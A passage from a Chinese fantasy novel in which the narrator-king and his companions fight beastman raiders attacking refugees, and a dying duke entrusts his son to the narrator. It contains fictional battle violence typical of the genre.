镜月公主微笑道:“德博将军,镜月就在比亚雷尔翘首以盼你凯旋的喜讯了。”
德博点头道:“放心吧,公主殿下,我们定将兽人族打的满地找牙,连回姥姥家的路都不认得。”
玛莎听他说的有趣,坐在马上亦莞尔一笑,祝福道:“德博将军,我与费罗预祝你一路顺风,马到成功。”
费罗亦是重重朝德博一点头,低声道:“保重了,朋友。”
德博忽然觉得鼻子有点酸,赶紧转过头去掩饰着笑道:“你们这是乾什么,我不过是去打仗,又非送死。等过几个月,大伙在比亚雷尔再见吧。”
我颔首道:“快去吧,德博,再罗嗦下去到天黑也走不成了。”
这时库塞策马到我身旁低声道:“陛下,北面路上来了八匹快马,只有两匹坐着人,看样子是帝国宫廷专用的八百里加急。”
德博一怔,再眺望北边的大路尽处,除了腾腾烟雾什么也没瞧见。
我嘿然道:“该是往帝都报讯的信使,拦下他。”
库塞应了声正要行动,镜月公主拦阻道:“让镜月来吧,这些人该会给镜月一个面子。”
说话时,北方地平线上出现了几个小黑点,倏忽近了,果然是两人八骑。
镜月公主催马伫立在路中,遥遥送出动听委婉的声音道:“两位请慢走!”
那两人都是骑士装束,因为赶路满面都是热汗与烟尘,突然看见前面路口拦着不下几百人的大队,不免也是一惊。
听到镜月公主的招呼,两人放慢坐骑,高声喝道:“我们是金沙公爵帐下信使,军情紧急,请诸位快快闪开,莫要挡我们去路!”
果然是北边来的信使。
不晓得带来的是胜利的消息,还是噩耗?
镜月公主微微浅笑道:“镜月不敢,只想问上一句,可知北方最新战况如何?”
两名骑士一愣,在近前勒住坐骑,疑惑着打量镜月公主一身朴素的水色装束,问道:“请问你是——”
德博从人群中冲出,劈头盖脸大骂道:“席特,你这个笨蛋连镜月公主殿下也不认得么?”
被骂的那名骑士看见德博,惊喜的叫道:“德博将军,你怎么在这儿?”
德博哪有心思回答这些,焦急的问道:“我老爸到底怎么样了,你们为何不用千里灵往帝都传讯,偏用这最笨的法子?”
席特苦笑道:“翼人部落的斥候封锁了天上,放出的千里灵全被他们拦截了。我们只好乔装乘夜溜出来,这才躲过翼人的截杀。”
另一名骑士道:“其实昨天我们已经放出了千里灵,但公爵大人要求我们一定要到帝都觐见陛下,因为有些事情纸条上是说不清楚的。”
德博催促道:“快说,我老爸怎么样了,你们去帝都乾什么?”
席特黯然道:“大熊部落和翼人部落的联军八万人马围攻图鹿堡,我们坚持了整整三天三夜却不见援军,前天早晨防线终于被攻破,金沙公爵率领着大家朝莫可比山退却。我们两个正是奉命到帝都请求援军的。”
镜月公主奇道:“在距离图鹿堡一百多里外的吉桑城不是驻扎着帝国的两个军团,他们为什么不来救援?”
席特的脸上出现无比愤怒的神情,咬牙切齿道:“战事一开,公爵便派人向吉桑城联络,请他们分兵支援。可是一连三拨信使都被挡回,驻守吉桑城的威灵伯爵和伊斯特尔伯爵藉口要防範两万夜狼大军竟不肯分兵。就这样,吉桑城帝国十万的雄师晒着太阳,图鹿堡公爵的八万大军浴血奋战,与同等数量的兽人族军队拼死厮杀三昼夜,终于失守。”
听了这个消息,没有人敢说金沙公爵的军队无用。
由于先天身体条件,兽人族的战士远比普通人类士兵强壮。一个大熊部落的成年战士足以胜过三名蒙思顿士兵,何况此次入侵的五万大熊部落大军中尚有一万是名震大陆的黑盔武士,每个人都拥有近乎以一当十的惊人战力。
在人数相近的情况下,金沙公爵能够坚守三昼夜已属不易。
德博一把揪住席特,怒喝道:“威灵和伊斯特尔那两个老混蛋居然敢这么说,我老爸为什么不夺了他们的兵权?”
席特忿忿道:“他们的爵位虽然比公爵大人不如,可毕竟是陛下的嫡係将领,公爵大人又怎么指挥得动他们?”
德博茫然放开席特,喃喃道:“混蛋,要我们在图鹿堡拼命,自己却躲在吉桑城看热闹,这笔帐我们以后一定要算!”
我冷眼旁观,没有说话。
一般情况下,给威灵他们十个胆子也不敢见死不救,毕竟谁也不敢拿军国大事开玩笑。
或许,这背后有某个人的意志在无形中作怪。
镜月公主说道:“德博将军,先让席特他们赶路吧,军情紧急,早一刻赶到帝都都是好的。”
德博一醒道:“你们还不赶快?”
席特向德博一礼道:“德博将军,您多保重!”又朝镜月公主和众人匆匆行礼,拍马向帝都方向飞驰而去。
德博徐徐从席特的背影上收回目光,长吁一口气道:“修岚,我也该上路了,大家后会有期!”
我微笑道:“别忘记了,德博,你还欠我跟镜月的喜酒没喝。”
德博哈哈一笑,道:“放心吧,朋友!就算我爬也会爬到比亚雷尔来,等着我凯旋的好消息吧!”
说完策马朝着无垠的北方驰去,身后几十名护卫一拥跟上,渐渐成为地平线上的小黑点。
  “兇多吉少,”库塞望着德博远逝的背影冷不丁冒出了这么一句。
  “库塞侯爵,你也关心德博将军么?”费罗奇怪的问道。
  “哼,我是觉得这个小子要是这么死在兽人族手里怪可惜。”库塞冷冷道。
玛莎担忧的问道:“结果不会这么糟吧,毕竟我们在东疆还有近二十万的大军,奥里公爵的援兵很快也会开到。”
我漠然道:“你有听说过一盘散沙能够打赢战争的?”
费罗苦笑道:“看样子帝国真有麻烦了,嘉修陛下病倒的真不是时候。”
我一策踏雪说道:“这些都是蒙思顿的事,我们已管不了许多,先到红石城再说。”
一行人收拾情怀继续赶路,由于战事不利,大家的脚程又加快了许多,六天后便渡过尤图河,距离红石城不过几十公里。
前方失利的消息不断传来,先是莫可比山失守,帝国军队损失惨重,紧接着威灵侯爵偷袭图鹿堡的五万人马被夜狼部落在半路上侯个正着,几乎全军覆没,威灵侯爵本人也丧身在加奈特的手下。
越往东去,沿路逃难的流民就越多。在尤图河边,到处都是安营扎寨等候渡河西去的难民,我们足足耗费了半天工夫在抢到几艘渡船摆渡过尤图河。
到了傍晚时分,远方天际的浓烟忽然升起,周围的难民发出惊恐的呼喊声,不少人惊慌失措的叫道:“快逃啊,蛮族打过来啦!”
原本就混乱不堪的秩序更加显着,婴儿的啼哭,妇女的叫喊,老人的哀号,拥挤在道路上的人群象热锅上的蚂蚁,蠕动着,挣扎着,不顾一切朝着西面奔逃。
镜月公主轻轻蹙起秀眉,轻声道:“修岚,看来兽人族的大军来的比我们预想的还要快。”
看着因为拥挤的人流而无法动弹的马队,我漠然命令道:“库塞,带上人在前面开道,我们必须赶在兽人族大军抵达前进入红石城。”
在那里,还有翡雅等着我。
库塞早等的不耐烦了,闻言话都不说,率着十几名银甲卫士冲到队列最前方接替了费罗开道的任务。他的心肠可没有圣殿骑士那般柔软,大队的速度明显提高许多。
就算这样,骑在马上也比走路快不了多少,偏巧这一带又都是山地,除了眼前的唯一的大道根本无路可走,一直到天黑我们也不过才走出十几里。
而北方的夜幕中,映射的火光越来越亮,越来越近,根据目测最多离红石城也只有二三十里。
我皱眉道:“费罗,你和玛莎率领大队从后面跟进,沿途小心撞上兽人族的先锋部队。我和镜月、库塞先一步回城,接应到翡雅再说。”
说完舍下踏雪纵身而起,在陡峭的山崖上跳掷星丸,也不顾落在那些难民眼中是如何的惊世骇俗,乘着月色直奔红石城。
十几里山里转瞬而过,前方山谷外豁然开朗,却依旧满拥着喧哗慌乱的难民。
突然,不晓得是谁在混乱中叫了一声:“快逃啊,蛮族大军已经杀进红石城了!”
人群顿时起了更大的骚动,而在北面的地平线上亮起了稀稀落落的火把亮光,一队蒙思顿的溃兵正朝着红石城方面退却。
  “嘿,说不定马上又能见到德博那小子了。”库塞在我身旁说道。
  “走,赶上去问一问!”我说道,三人避开纷乱的人流,几乎是在御风而行。
眼看接近了那千多名溃败的帝国军队,遥远的黑夜里突然响起刺耳的尖叫声,那声音此起彼伏,完全不是大陆通行的夕兰语。
溃军更加慌张了,亡命的朝着红石城奔窜,根本不成队列阵形,也极少有人再去管顾那些行动不便的伤兵。
我飘然落地,拦截在溃军前方,冷冷喝道:“谁是你们这里最高的指挥官?”
一名骑在马上的小军官叫道:“快闪开,你想找死?”扬起马鞭朝我头顶抽落。
我冷哼一声,轻鬆抓住鞭梢,左拳毫不留情的轰在他的脸上,连那头盔也给打裂。那名军官惨叫一声飞跌下马,头骨碎裂而死。
  “有奸细,杀人啦!”周围的数十名帝国士兵慌张的叫起来,不少人举起尚未丢弃的兵刃就打算向我围攻。
我怎么怕这个,库塞更是一声冷笑闪身而出,手中的幻紫之瞳随时準备发作,而那头魔兽赤目也是虎视眈眈,择人而噬。
  “住手!”镜月公主清叱道,她的声音并不响亮,但足以清晰的送入每个帝国士兵的耳朵中:“我是蒙思顿镜月公主,身旁的就是来自比亚雷尔的修岚陛下。请你们的指挥官出来回话。”
  “出了什么事情,为什么不走?”一名身穿白银盔甲的将领呼喝着从队列后方赶来,见到我们先是一怔。
旁边有部下向他耳语了几句,那名将领原本盛怒的面色缓和不少,望向镜月公主问道:“请问,您自称是公主殿下,可有什么证明?”
镜月公主微微含笑,翻手向那将领展示蒙思顿皇室的金色徽章,问道:“这样东西,将军该是认得的吧?”
那名将领当然认得皇室徽章,急忙下马行礼道:“格隆索拜见公主殿下!”
  “格隆索将军,你可是金沙公爵的部下,怎么到了这里?”镜月公主问道。
格隆索起身回答道:“今天上午我军在西比奇会战中失守,公爵大人下达撤退指令。可沿途却遭到沙豹部落和翼人部落的追兵截杀,战到下午时全军阵形都已溃散。我率领仅剩的一千多名部属正準备撤回红石城死守。”
  “金沙公爵和德博将军呢?”我问道。
格隆索正準备回答,溃军队尾却突然生乱,有士兵惊恐叫道:“将军,豹人追上来了!”
格隆索脸色一变,急忙上马道:“公主殿下,这里不能久留,还是让我们护送您先到红石城再说!”
我冷笑道:“懦夫,不过是兽人族的一点前锋人马,就把你们吓成这个样子,难怪不到十天就丢了半个翟碧司郡。
格隆索脸色一变,顾忌着镜月公主才没敢对我挥刀相向,苦笑道:“你们没有上过战场,根本不明白蛮族的恐怖。公主殿下快走吧,豹人的奔跑速度比战马还快,再不撤退就来不及了。”
这时,一里多外已响起无数难民的惨叫呼号声,手无寸铁的他们根本无法抵抗兽人族的蹂躏,首先成了豹人的美餐。
库塞的幻紫之瞳一闪,映射出黑夜中那一队上千豹人战士的身影。他们的身高和普通人类类似,但拥有着充满爆发力的肌肉和锋利的牙齿。行军时完全不需要战马的辅助,而是如同野兽一样四肢着地飞速奔跑,毛茸茸的脸上画满乱七八糟的彩色条纹,分外的狰狞。
在兽人族中,沙豹部落是仅次于夜狼等部落的一大族群,藉着先天的速度优势,令他们在战场上显得神鬼莫测,运动如风,往往被当作奇兵使用。
我冷笑道:“慌什么,他们不过一千多人,因为贪功脱离的本队,兽人族的大军还在几十里外,有什么可怕?”
格隆索稍稍定了定神道:“可是,就算这么点人,我们也不是对手。”
镜月公主望着幻紫之瞳,水晶球里忠实的显现着豹人挥舞屠刀,劈翻一名又一名拥堵在大道上的难民景象,缓缓说道:“格隆索将军,你是否有看到我们的臣民在被敌人屠杀蹂躏,他们无助的目光正从周围期盼注视着你们。而你们这些手持着武器的士兵却仓皇的只顾逃跑,将手无寸铁的兄弟姐妹们抛在身后任由敌人欺凌。作为一名帝国的将军,你可否告诉镜月,这是你该做的么?”
格隆索面露惭色道:“我心里也不好受,可连金沙公爵都没了办法,我们这些人又能怎样?我手下的这点人,对上豹人不过是白白送死罢了。”
说话间,一小队豹人士兵已经呼啸而至,也许是他们杀红了眼,也许是趾高气扬的他们根本不把帝国军队放在眼里,竟朝着这支千人战队杀了过来。
镜月公主凝视着格隆索,低声道:“拿出你的勇气,将军。如果我们能够多抵挡一刻,那些难民就能少去一点伤害,多出几分生路。帝国的战士,不该是只懂得逃跑的懦夫。”
说完,再不理格隆索他们,飞身幻化作一缕水色身影,射向豹人扑来的方向。
库塞站在我身旁问道:“陛下,我们怎么办?”
我冷笑道:“很久没大开杀戒了,就拿这一千多人将就一下。”
库塞嘿嘿一笑,闪身与我隐没在帝国军队中,前些日子在帝都,他已憋的够闷,正可藉此发洩。
格隆索呆呆坐在马上,蓦然拔出长剑大叫道:“全军迴转,跟那帮蛮种拼了,也好知道我们帝国的战士不是懦夫!”
第四章滴血之夜
月色滴血,赤红色的火映亮半边北方的天空。
道路上,道路两旁的麦田里,挤满无助的难民。
一队队沙豹部落的战士,高举着手中的屠刀,在这疯狂的夜里肆无忌惮的杀戮,发洩着原始的兽慾。
男子倒下,少女倒下,即使是老人与婴儿也同样是他们屠杀的对象。
看见人们惊恐扭曲的脸,看见惊恐奔逃的人群,换取到他们最大的快乐。
  “求求你,不要杀我!”面对狰狞的屠杀者,一个老人恐惧的软倒在乾涩的土地上,脚步无法移动半寸,只懂得哀求哭号。
  “你们这些贱民,根本不配活在这个世界上,还是让我送你去地狱吧!”那名豹人战士兴奋的发出野兽般的嚎叫,挥起手中的长枪刺向老人的心窝。
  “铿!”一抹亮丽的淡金色光华掠过,豹人战士连来人都没有看清便仰天倒下,胸口的甲胄已被流金圣剑刺穿。
在金戈铁马的沙场中,在流淌血腥的黑夜里,镜月公主那一袭水色身影飘渺而出尘,凌空飞落。
  “啊,好漂亮的人类少女,给我抓活的!”一个豹人头领兴奋的叫道,周围十几名手下口中尖啸,蜂拥向镜月公主。
他们说的是部落土语,以至于镜月公主也无法晓得那个豹人头领在说什么。但看到十几名豹人战士面目狰狞的围攻上来,流金圣剑轻盈飞纵,那坚硬的铠甲根本无法阻挡犀利的剑锋,又两名豹人战士惨叫倒地。
然而这不仅未令其他人害怕,反激起了他们血液中的兇性,周围更多的豹人战士聚拢过来,好似潮水一般吞没了镜月公主的身影。
  “轰!”一团妖豔的紫色光球在豹人中炸开,十多名豹人战士顿时肢体横飞,浸润在血泊中。
是库塞到了。
他根本不屑也不愿与对方近身缠斗,利用风系魔法漂浮在低空中,幻紫之瞳专往敌人聚集的地方轰击。
只两三下,已经令豹人战士伤亡一大片。
几乎同时,我已杀到镜月公主身旁,甚至连长剑都没有拔出,赤手空拳冲入敌阵中。
  “砰!”今晚第七个被我铁拳击中头颅的豹人战士连惨哼的机会都没有,便瘫软在地,他的头盔由于禁受不住暗黑能量的冲击而扭曲变形,脸上更是面目全非,找不到一块完好的头骨。
就在刚才,他还叫嚣着要活捉镜月公主。
  “谢谢你,修岚!”镜月公主低声在我耳畔道,那一双清澈皎洁的星眸穿越过漫天杀气惊鸿的一瞥向我。
  “不用,”我冷笑一声,揉身杀进敌群最密集处,在闪烁寒光的枪林刀海间从容闪展,如风般飘逸自如。
每一拳击出,必然宣告一条生命的结束。
我的心头毫无怜悯,战场上只有生与死的区别,永远不是施捨仁慈的地方。
杀意逐渐升腾,我彷佛听见心底深处欢畅的呼啸,踏着敌人的尸体,从血路的这头引向那头——
  “你这魔鬼,我要杀了你!”一名高大的豹人战士挥舞着双枪从背后掩袭,碧黄色的眼中半是愤怒怨毒,半是恐惧惊讶。
他的实力该是不错的了,至少不逊色于普通的圣殿骑士,但这点差异如今在我心目中几乎可以忽略不计。
我侧身,轻鬆让过飞刺的第一桿长枪,左拳重重轰在第二杆枪头上。
  “叮”的一记金石鸣响,那只枪头被我硬生生打折,一股强大的反挫力量将长枪的尾端倒刺入这名战士的胸膛。
热血飞喷——原来,兽人的血也是红色的。
敌人终于完全意识到我们的存在所带来的巨大威胁,几乎所有的豹人战士都放弃了对难民和敌人的追击,潮水一样向我们涌来。
月沉星沦,无边的杀戮在这一刻全面展开。
格隆索将军率领着他的军队也已经迴转,亲眼目睹了我们的神勇和近乎魔神一般的实力,令这些原先被豹人追杀的丧魂丢胆的士兵重新振作了勇气,鼓起再与敌人一拼的斗志。
豹人根本没料想到被他们杀得丢盔卸甲,狼狈不堪的帝国士兵居然还敢回头主动发起攻击,顿时措手不及。
格隆索一连杀死三名豹人战士,胆气越来越壮,心中不禁想到:“原来,这些蛮族也没那么可怕,我一样可以杀死他们!”
但等对方站稳阵脚,反身开始对付他们的时候,格隆索的压力骤增。人类与兽人之间先天的战斗力差距再次显露无遗,往往必须付出三五人的代价才能杀死一个豹人战士。
可杀红眼的帝国士兵已将恐惧抛到脑后,格隆索更是身先士卒,儘管背部和大腿都受了枪伤,可依旧顽强的厮杀不退。
数千人就在这广阔的平原上展开一场空前惨烈的搏杀,死亡的哀号此起彼伏,鲜血在每一刻无尽的流淌。
眼看自己的军队不敌,周围难民中的青年男子呼喊道:“跟他们拼了!”纷纷拾起遗落在地上的武器,加入到战团中。
他们更不是兽人的对手,大多数人奋不顾身的冲上,却连手中的兵器还没来得及刺出就已经倒下。但没有谁会退缩,这些对侵略者包含着仇恨与愤怒的人们用长枪,用双手,用牙齿,向敌人发出不屈的宣告!
看着身旁无数兄弟的倒下,格隆索热泪盈眶,被战火洗刷的良知重新唤醒,他高声叫道:“杀啊,就算还剩一个人,也要抗争到底!”
  “抗争到底!”无数人爆发出整齐划一的怒吼,发洩出积郁在心头的屈辱与仇恨。
他们曾经软弱,曾经无助的只想着逃离。
然而此刻,每一个人都成了英勇的斗士,以生命和鲜血捍卫着自己的土地与尊严!
短短一刻,格隆索的部属就伤亡了两百多人,死去的参战平民数字更加惊人。不过豹人也付出了入侵以来最大的一次伤亡比例,竟有三百多战士永远葬身在这片充满热血与尊严的沃土上。
当然,其中至少三分之二以上,是丧身在我与镜月公主和库塞的手中。
若干岁月后,人们将这场小规模的战役称作“觉醒日之战”,更有诗人将它谱成动人的歌曲传唱四方。
因为经过这晚,所有的东疆军民都意识到了被压迫者的勇气与力量,而整个抗击兽人族入侵的战役也进入一个不可思议的转折点。
这一切,都是当事者甚至包括我所始料未及。
但勇气与斗志毕竟替代不了实力,被血腥与死亡激发起兇性的豹人战士发出刺耳的尖嚎,向格隆索的军队猛烈冲击。
格隆索将军身边的部属越来越少,队伍的阵形也早被沖散,眼看就要不支,却蓦然看到黑暗中点点火把闪耀,一支身穿银色盔甲斗志高昂的骑兵战队宛如犀利的匕首向着敌阵无所畏惧的插入!
是费罗率领着银甲卫士赶到了。
如果不是由于道路堵塞,他们本该到的更早,但就是现在赶到也已经足够。
这三百名银甲卫士的个人战斗力远胜于普通帝国士兵,甚至还在豹人战士之上,他们的出现彻底扭转了战局。
费罗长剑翻捲,闢出一条血路杀到格隆索近前。格隆索又惊又喜问道:“请问将军大名?”
费罗又斩下一名敌人的头颅,微笑道:“比亚雷尔修岚陛下部属,费罗!”
格隆索惊讶道:“原来是比亚雷尔的费罗将军?修岚陛下和公主殿下正在里面被豹人团团围困,您来的真是太及时了!”
他说话时略微一分神,险些被一名豹人战士长枪刺中,不防一旁一名身材娇小的金甲骑士长剑飞落,顿时了结了那名豹人的生命。
格隆索这才藉着火光注意到费罗身边的这位骑士竟又是一位美丽少女,忍不住无比的惊异。
两军汇合一处立刻声势大壮,费罗的银甲卫士在左,格隆索的帝国士兵在右,犹如一把钳子牢牢挟制住豹人大军,一往无前的冲击敌人阵列。
兽人战士的斗志终于崩溃,毕竟他们也是人,也懂得恐惧和惊慌。
不晓得是谁第一个后退,畏惧与退缩就犹如瘟疫一样迅速感染到每一个人。
胜利不再是他们第一的选择,在内外夹攻中保住宝贵的生命才是最重要的事情。
剎那间,敌人的阵形出现了鬆动,既而是全面的溃散。
一名豹人将领企图阻止溃势,大声吆喝着:“不准退,谁再退老子宰了他!”
我漠然一笑,出现在他的身后,轻声道:“去地狱吧,孩子!”
那名将领惊恐的回头,却听见自己脖骨断裂的清脆响声,我的手从他的颈上移开,他的身躯软软的瘫下。
  “魔鬼啊!”周围的豹人战士目睹此景更无斗志,转身就向后窜逃,连长官的遗体也不敢再要了。
一见敌人败退,帝国士兵的气势更盛,竟首次充当起追击者的角色,呼啸着追杀不放。
费罗策马到我身旁,在马上躬身道:“陛下,您没事吧?”
我不以为然道:“就这些废物还不至于让我有事。费罗,通知大家不必追击,以免黑夜中撞上兽人族的主力,整顿一下就往红石城撤退。”
费罗应了声,布达我的命令去了。
库塞忽然从空中飘落,低声道:“陛下,我看见金沙公爵的帅旌了!”
  “哦?”看来金沙公爵也已经退到了红石城,不晓得德博这个家伙是否和他在一起。
不知道为什么,我对那个混蛋变得越来越关心,或许是他的作风越来越合乎我的胃口。
  “就在西南方三里左右,大约有三四千人,正往红石城撤走。”库塞回答道。
镜月公主在一旁忽然轻声道:“修岚,镜月想去看看金沙公爵,你和库塞、费罗他们先到红石城等我吧。”
我摇头道:“我和你一起去,让库塞和费罗率领大家先入城。”
库塞领命而去,桀骜不逊的他自从安鹭笛恢复后显得温和许多,对于我的命令亦是更加不折不扣的执行。
但千万不要以为恶魔可以在一夜间变成天使,暴怒的库塞足以让半个帝都感受到惊颤。
镜月公主浅笑盈盈,目光中充满喜悦与欣慰,凝视着我深情道:“你原本可以不用出手的,修岚。”
我淡然道:“你是我的女人,在任何时候我都不允许任何人伤害到你丝毫,这个理由足够了么?”
镜月公主嫣然一笑,动人的丰姿在今霄的火光中显得无比娇豔,轻轻道:“足够了,这是镜月有生以来所听到的最美话语。”
我翻身跃上费罗带来的踏雪,一伸手将镜月公主挽到身后,低喝声:“坐好了!”踏雪扬蹄朝北而去。
到处都是难民与帝国士兵的尸体,还有受伤者蜷缩在路边绝望的呻吟与哀求。
一群群背井离乡的平民拖家带口朝着红石城或者是西面的群山中流亡,他们有老有少,甚至有刚刚出生的婴儿,却无一例外的承受着战火的洗礼与战争的创伤。
任何的怜悯在这个夜里都是多余的,这里已逐渐形成一场混战,但这样的局面持续不了多少时候,等到兽人族的主力抵达,势必将摧枯拉朽一般杀到红石城下。我根本不相信帝国的这些残兵败将还能够支撑多久。
金沙公爵的帅旌高高耸立,这令我们很容易就找到了他们。
四千余名帝国士兵勉强保持着队列迤俪南撤,几乎每个人的盔甲都破损不堪,更有人连走路都困难。
我驾着踏雪迎上前去,高声叫道:“我是比亚雷尔的修岚,金沙公爵在哪里?”
一名中年将领闪出人群来到我面前,藉着火光打量着我和镜月公主,在确认无误后惊喜叫道:“真的是您,修岚陛下?还有公主殿下,你们怎么来了?”
我认得这个说话的将军,他是金沙公爵麾下的一名骑兵团提督施罗,胸口绑着的绷带显示出这个家伙也负了不轻的伤。
  “金沙公爵在哪里,施罗?”我问道。
  “就在后面,随着大队马上就到!”施罗一指身后的旌旗回答道。
镜月公主问道:“公爵大人没事吧?”
施罗脸色一黯,低声答道:“他受了重伤,很可能活不过今晚,不过怕动摇军心这个消息很少有人知道。”
施罗还想说什么,我已催着踏雪朝后疾驰。
在败军中,一队骑兵护送着一辆马车缓缓走近,车后是两名士兵高举的帅旌。
我的心里一沉,明白除非已不能动,否则金沙公爵绝对不可能躺倒在马车里。
我分开人群冲到马车前,那些金沙公爵的亲兵都认得我,所以未加阻拦。
我跳下踏雪,拉开车门,就看见满身浴血的金沙公爵面色苍白,沉睡在软垫上,身上至少负了四处致命的重伤。
我一眼之下就认出是啸月宝轮留下的印记,眼睛里闪过骇人的杀机,用比冰雪更冷的声音道:“空翔!”
彷彿感觉到我与镜月公主的到来,金沙公爵的眼皮颤动几下徐徐睁开,藉着车内的灯火他看清了我们的面庞,脸上露出一丝笑容无力的说道:“你们终于赶来了,可惜我——”
一阵剧烈的咳嗽打断了他的说话,伤口伴随着身躯剧烈的颤动而不住朝外流血。镜月公主一声低吟,纤手间亮起一团淡蓝色的圣光覆盖在金沙公爵的伤口上。
金沙公爵精神一振,苦笑道:“我败了,而且败的很惨,怕连命也要丢在这里。”
我沉声道:“不用担心,胜败不过是兵家常事,只要活着就有机会扳回这一局。”
金沙公爵失去血色的脸上露出苦涩的笑容道:“从图鹿堡到红石城,我的八万大军最多只剩下三万,东疆的一半土地丢失,即使活着也没有面目再见故人!”
镜月公主幽幽叹道:“公爵大人能以八万大军和兽人族苦斗这多天已经不易,换了别人只会更惨。”
金沙公爵摇摇头道:“你们都不必安慰我,我自己心里都明白为什么会输成这样!”
我冷笑道:“你放心,我知道是空翔伤了你,再有就是威灵和伊斯特尔那两个混蛋。威灵已经死在加奈特的手上,剩下的人我迟早会为你讨回这笔帐。”
金沙公爵叹了口气,注视着我,忽然问道:“你为什么要帮我,修岚?只是因为翡雅么?”
我淡淡道:“这是今晚第二个人问我类似的问题,我一样可以告诉你,抛开翡雅和所有的厉害关係,我仍然会帮你。别忘记了,去年我準备复国时,你是帝国重臣中唯一给予我支持的人。不管你怀有什么样的目的,对我来说结果都是一样。所以,今天我会站在你这边,就这么简单。”
  “大丈夫恩怨分明,我没有看错你,修岚!”金沙公爵微笑道。
我望向镜月公主,她朝着我几乎不可察觉的摇了摇头,我的心中一震,知道这已宣判了金沙公爵的死刑。
突然听见马车外有人焦急的叫道:“为什么还不走,兽人族的大军马上就要追到了!”
这是德博的声音,我跳下马车,看见他正骑着一匹战马率着几名部下朝这里疾弛。这家伙全身上下的盔甲浴满鲜血,左手被绷带吊在胸前,右手握着长剑催驾着坐骑。
  “德博!”我叫道。
  “修岚?”藉着火把的光芒,德博看到了我,满脸惊喜道:“你怎么来了,其他人呢?”
  “我和镜月公主在这里,其他人由费罗率领先进红石城了。”我回答道。
德博在我面前跳下战马,急急问道:“我父亲怎么样了?”
我没有说话,只摇摇头。
德博面色惨变,用长剑柱地勉力不让自己摔倒,沉声问道:“修岚,你和公主就没有一点办法了么?”
我漠然道:“如果有一丝可能,我也绝对不会看到那样的结局在公爵身上发生。”
德博深吸一口气,将身躯探进马车,颤声叫道:“父亲!”
金沙公爵看见爱子,苍白的脸上流露出一丝欣慰笑容,艰难道:“你回来了?”
德博点点头回答道:“我们打退了大熊部落的三次进攻,算算时间差不多了,所以我才下令撤退。”
金沙公爵微笑道:“好孩子,你终于长大了,今后再不用我为你操心。”
  “父亲!”德博哽咽道。
  “别哭,”金沙公爵神色坦然而平静,微微皱眉道:“你已是一军之主,怎么能像小孩那样动不动就耍哭?我知道自己撑不过今晚了,如今最大的愿望就是能够再见翡雅和你两个弟弟一面。可恐怕,连这个愿望都实现不了啦——”
德博一震,冲着车夫叫道:“快赶马车!”
第五章名将悲歌
他的话音刚落,金沙公爵猛然剧烈的咳嗽,大口大口朝外喷血,眼光也逐渐开始涣散,眼看就要不行。
  “父亲!”德博紧握着金沙公爵冰凉的大手,声嘶力竭的叫道:“你不能有事啊,你不能扔下我和翡雅他们!”
我向马车夫一摆手,示意他再等一等。
这个时候稍微的一点颠簸都会加速金沙公爵的死亡,而如果不是镜月公主用圣殿的疗伤圣术护持住他的心脉,或许他连德博也没见到便去了。
镜月公主手心中的光球越来越亮,还在做着最后的努力,但金沙公爵的眼神却更加的黯淡无力。
  “我总算是等到你回来了,因为我有几句话必须亲口嘱咐你。”金沙公爵断断续续的说道,嘴角不停往外流着鲜血。
德博好不容易才听清他在说什么,连忙点头道:“您说吧,父亲,我一定听您的,今后再不惹您生气。”
金沙公爵勉强笑了笑道:“家族的公爵之位都是世袭,所以我死之后你就将顺理成章继承我的爵位和权力。你必须再长大些,这样才能统帅好军队,尤其是在这个非常时期,更需要你多一些勇气。”
德博只懂得点头,满面泪如雨下,声不能言。
或许是迴光返照,金沙公爵的眼中蓦然爆射出一缕神采,低声喝道:“记住,任何时候都不能丢了我们家族的脸,更要替我收复失土,将兽人族赶出帝国,否则你就不是我的儿子!”
德博连连点头,金沙公爵吃力的将目光投向我苦笑道:“我纵横一生戎马,没想到终于吃了大败仗,连自己的命也丢了。大丈夫为国捐躯没有任何遗憾,可惜我实在不放心德博——这小子以前一天的战阵都没真正上过。”
我缓缓道:“有什么话你儘管说。”
  “修岚,我知道有些为难你,毕竟你是比亚雷尔的国王。可我实在不能放心德博和翡雅他们,拜託你能替我照料他们一点。”金沙公爵满眼的希冀,凝视着我,等待我的回答。
德博与镜月公主同样的默默无语,然而同样是用充满恳切与希望的眼光注视着我。
他们当我是谁?
能够独力去扭转眼前的溃局?
或者是一个悲天悯人的圣人,甘心情愿的为一个与我毫无关係的国度,为一群人的恳求而付出所有?
我徐徐出了一口气,转眼望向北方的天空。
那里,火光如血。
铺天盖地的兽人族大军正风潮涌动,势不可挡的杀来。
身旁,疲惫不堪的帝国士兵士气低落,仓皇的向着红石城撤退;无数的难民流离失所,拼命寻找着一方平安的净土。
然而硝烟四起,这片土地已充满杀戮。
我知道金沙公爵的这句话含义是什么,我也知道答应了他的嘱託对于我来说将承担何其沉重的责任。
可不知道为什么,我却无法拒绝。
我想起了第一次与金沙公爵见面时的情景,想起他爽朗真诚的笑声。
那高大伟岸的身影却在黑暗里越走越远,逐渐的迷离模糊。
这样一个人,即将在我的面前死去,而我无能为力。
我的心中生出一股莫名的杀机,冰冷的魔意在眼眶中蔓延。
彷彿,我已看到空翔得意狂妄的笑容。
我清楚的感受到,金沙公爵已经对帝国的内讧彻底失望,不再指望那些歌舞生平的贵族们能够做出点什么。
儘管嘉修陛下依然健在,但眼前的局势已是远水解不了近渴。
所以他才恳求我,希望我能伸出援手。
他需要的不仅是我个人,还有我背后的比亚雷尔!
当然,我同样明白,这是我染指帝国东疆,将翟亚司郡收于掌中的最好机会。
但需要直面的是十万兽人族大军和整个北方联盟,这样的代价又是否值得?
我根本可以坐山观虎斗,等待更好的时机兵出群山之城,实现我的战略意图。
而一旦允诺,这样的主动权将不再有。
风,从原野上默默的吹拂过,带着浓重的硝烟和凄惨的哭泣。
远方的号角越来越近,黑夜里的精灵在肆虐。
久久,久久——
我徐徐的点头,所有人都在旁边鬆了一口气。
金沙公爵的眼中掠过最后一丝神采,望着心爱的儿子道:“德博,记住,无论发生任何事情,你都必须跟随在修岚陛下的身边,永远不能背弃!这是我们金沙家族唯一能够表达感激的方式——”
德博无声啜泣,点头道:“我发誓,父亲,我一定做到您所有的嘱託!”
金沙公爵长长出了一口气,微笑道:“德博,扶我起来,我想最后再看一眼属于我的土地。”
  “父亲?”德博愕然道,目光询问着我与镜月公主。
镜月公主微微颔首,与德博轻轻将金沙公爵扶下马车。
他的身躯必须依靠别人的力量才能伫立,但依然是那样的沉稳如山。
他的目光已渐渐没有神采,但依然是如此的坚定从容。
即使是在面对死亡!
